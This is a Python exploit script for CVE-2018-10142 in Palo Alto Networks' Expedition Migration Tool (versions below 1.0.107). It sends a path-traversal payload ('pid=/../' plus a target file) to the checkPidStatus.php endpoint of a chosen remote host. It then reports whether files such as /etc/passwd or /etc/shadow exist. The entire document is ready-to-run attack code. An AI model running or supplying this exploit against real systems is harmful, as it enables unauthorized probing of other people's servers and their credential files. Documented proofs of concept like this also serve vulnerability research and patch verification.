#!/usr/bin/env python
 
# Exploit Title: Information Disclosure in Expedition Migration Tool
# Date: 2018-11-28
# Exploit Author: paragonsec @ Critical Start
# Vendor Homepage: https://live.paloaltonetworks.com/t5/Expedition-Migration-Tool/ct-p/migration_tool
# Security Advisory: https://securityadvisories.paloaltonetworks.com/(X(1)S(b3fl3gs0nvmh5fzuxrccomwy))/Home/Detail/135
# Version Tested: 1.0.106
# CVE: CVE-2018-10142
 
import argparse
import requests
import sys
import collections

#Colors
OKRED = '\033[91m'
OKGREEN = '\033[92m'
ENDC = '\033[0m'

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument('--file', help = 'File to check (e.g /etc/passwd, /etc/shadow)')
args = parser.parse_args()

# Check to ensure at least one argument has been passed
if len(sys.argv)==1:
    parser.print_help(sys.stderr)
    sys.exit(1)

rhost = args.rhost
rfile = args.file

exploit_url = "http://" + rhost + "/API/process/checkPidStatus.php"
 
headers = [
    ('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
    ('Accept', 'application/json, text/javascript, */*; q=0.01'),
    ('Accept-Language', 'en-US,en;q=0.5'),
    ('Accept-Encoding', 'gzip, deflate'),
    ('Connection', 'close')
]
 
# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)
 
# Setting up GET body parameters
body = "pid=/../" + rfile

print(OKGREEN + "Author: " + ENDC + "paragonsec @ Critical Start (https://www.criticalstart.com)")
print(OKGREEN + "CVE: " + ENDC + "2018-10142")
print(OKGREEN + "Description: " + ENDC + "Information Disclosure in Expedition Migration Tool")
print(OKGREEN + "Vuln Versions: " + ENDC + "< 1.0.107\n")

print(OKGREEN + "[+]" + ENDC + "Running exploit...")

s = requests.Session()

req = requests.post(exploit_url, headers=headers, data=body)
if "false" not in req.text:
    print(OKGREEN + "[+]" + ENDC + "Exploit worked! " + rfile + " exists!\n")
else:
    print(OKRED + "[!]" + ENDC + "File " + rfile + " does not exist!\n")
